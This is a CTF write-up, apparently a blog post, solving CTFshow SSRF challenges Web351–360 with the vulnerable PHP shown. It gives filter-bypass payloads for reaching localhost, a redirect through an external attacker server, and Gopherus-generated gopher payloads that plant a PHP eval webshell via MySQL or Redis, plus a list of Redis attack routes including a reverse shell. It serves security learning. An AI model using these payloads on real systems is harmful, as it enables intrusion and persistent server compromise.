CTFshow——SSRF

PHP SSRF漏洞利用与绕过方法解析

Web351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

在这里插入图片描述

可以看到提示非本地用户禁止访问,实际上就是模拟了一个内网环境,只有内网的用户才能进行访问,而外部访客则不行

方法一:

既然说必须是本地用户,那我们就使用内网的ip进行访问
在这里插入图片描述

POST传参

url=http://127.0.0.1/flag.php

方法二:

使用文件包含直接包含所谓只有内网才能访问的内容

post传参:

url=file:///var/www/html/flag.php

在这里插入图片描述

Web352

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

直接访问flag.php发现还是提示非本地用户禁止访问

仔细看源码与上题的区别在于增加了验证

if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){

理论上应该用进制转换(url=http://0x7F000001/flag.php),特殊的0地址(url=http://0/flag.php)等一些方法绕过,但是我不知道为哈我直接用127.0.0.1也能过
在这里插入图片描述

Web353

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

看一下过滤内容,再结合上题总结的发现,进制转换或者特殊0地址都是可以用的

在这里插入图片描述

Web354

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

看代码知道localhost,1,0,。都没法用了,我们可以使用一个自己的域名

然后将域名的DNS解析A类指向127.0.0.1(如下图)

对于这道题来说,很多人没有自己的域名更没有解析记录

恰好http(s)😕/sudo.cc/这个域名的解析是指向127.0.0.1的,所以可以直接post传参

url=http://sudo.cc/flag.php

在这里插入图片描述

在这里插入图片描述

PS:什么是域名解析A类?

在这里插入图片描述

Web355

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> 

多了一个限制让host位数小于5

省略绕过即可

url=http://127.1/flag.php
或
url=http://0/flag.php

Web356

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

host位数小于3,依旧是省略绕过

url=http://0/flag.php

Web357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?>
gethostbyname — 返回主机名对应的 IPv4地址。 
filter_var — 使用特定的过滤器过滤一个变量
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值

补充:
FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)

简单来说就是过滤掉了私有地址的访问

这里我们可以使用302跳转进行绕过

302跳转:

举个例子,我们假设淘宝更换了新的域名,但是对于广大用户来说他们只记

得taobao.com这个熟悉的域名,那么为了方便用户我们可以采用302跳转,

就对taobao.com配置302跳转到新域名地址,保证服务的延续

方法一:

在自己服务器上写个a.php文件内容如下

<?php
header("Location:http://127.0.0.1/flag.php"); 

然后payload写自己的这个地址就可以了

payload:

url=http://139.9.178.245:60/a.php

在这里插入图片描述

方法二:

对于没有自己没有服务器的

在这个网站注册一个账号http://ceye.io/,然后会给你分配一个域名,修改

原理可以看下大佬写的文章https://zhuanlan.zhihu.com/p/89426041

方法看优快云博主「yu22x」:https://blog.youkuaiyun.com/miuzzx/article/details/111992415

Web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
} 

正则匹配:以以http://ctf.开头,以show结尾

以show结尾比较好办,要么#show,要么?a=show这样的都可以

以http://ctf.开头的话,加一个@127.0.0.1绕过,这样parse_url解析出来的host是127.0.0.1

url=http://ctf.@127.0.0.1/flag.php?show

Web359

使用工具Gopherus(工具放进kali直接命令窗运行即可)

python gopherus.py --exploit mysql
root
select "这里写一句话木马" into outfile "/var/www/html/1.php"

运行后会得到payload

由于传上去会被解码,所以需要多进行一次urlencode

在这里插入图片描述

在这里插入图片描述

Web360

提示:打redis

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?> 

方法同上

python gopherus.py --exploit redis
php
<?php eval($_POST['1']);?>

默认存储文件名称为shell.php

在这里插入图片描述

Redis配合gopher协议进行SSRF

概述

`Gopher`协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议,不过现在gopher协议用得已经越来越少了
`Gopher`协议可以说是SSRF中的万金油。利用此协议可以攻击内网的 redis、ftp、mysql等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF的攻击面。

利用条件

能未授权或者能通过弱口令认证访问到Redis服务器

利用

redis常见的SSRF攻击方式大概有这几种:

  1. 绝对路径写webshell
  2. 写ssh公钥
  3. 写contrab计划任务反弹shell

绝对路径写webshell

这个方法比较常用,用得最多

  1. 构造redis命令
  2. 使用脚本,转化为redis RESP协议的格式
  3. 生成payload后,用curl打
  4. 执行成功后,查看shell是否写入成功
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

枫糖丶

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值